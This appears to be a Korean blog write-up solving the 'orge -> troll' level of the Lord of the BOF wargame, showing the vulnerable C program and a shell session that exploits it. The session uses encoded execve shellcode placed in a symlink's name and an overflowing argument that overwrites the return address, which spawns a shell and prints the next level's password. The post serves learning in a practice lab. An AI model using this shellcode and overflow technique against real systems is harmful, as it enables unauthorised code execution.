[lob] orge -> troll

[orge@localhost orge]$ cat troll.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    // here is changed
    if(argc != 2){
        printf("argc must be two!\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n"ㅅ);
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

    // one more!
    memset(argv[1], 0, strlen(argv[1]));
}
//심볼릭 링크를 걸어서 실행
[orge@localhost orge]$ ln ./troll `perl -e'print "troll123"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ./`perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "a"*44+"\x27\xfc\xff\xbf"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'?
argv[0] : BFFFFBA9    /  ./?^12€l€?u楕凹2핽i00tii0cjo??T??
                                                                     귁?
Segmentation fault (core dumped)
[orge@localhost orge]$ Xshell./t
bash2: Xshell./t: No such file or directory
[orge@localhost orge]$ ./trolla
argc must be two!
[orge@localhost orge]$ ./`perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "a"*44+"\x27\xfc\xff\xbf"'`aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'?
argv[0] : BFFFFBA9    /  ./?^12€l€?u楕凹2핽i00tii0cjo??T??
                                                                     귁?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "a"*44+"\xa9\xfb\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa₁
argv[0] : BFFFFBA9    /  ./?^12€l€?u楕凹2핽i00tii0cjo??T??
                                                                     귁?
bash$ ls   
1     dump.h  troll    trolla     ??^1??2?l??????u????????2?Qi00tii0cjo??QT???????
core  test    troll.c  trolla.c
bash$
bash$ q
sh: q: command not found
bash$ exit
exit
[orge@localhost orge]$ rm perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
>
[orge@localhost orge]$ rm `perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ls
1  core  dump.h  test  troll  troll.c  trolla  trolla.c
[orge@localhost orge]$ ln -s troll `perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ./`perl -e'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "a"*44+"\xa9\xfb\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa₁
bash$ ls
ls: .: Permission denied
bash$ my-pass
euid = 508
aspirin
bash$

저작자표시비영리동일조건

'공부 > LOB' 카테고리의 다른 글

[lob] vampire -> skeleton  (3)	2014.07.30
[lob] troll -> vampire  (0)	2014.07.30
[lob] orge -> troll  (0)	2014.07.30
[lob] darkelf -> orge  (0)	2014.07.30
[lob] wolfman -> darkelf  (0)	2014.07.30
[lob] orc -> wolfman  (0)	2014.07.30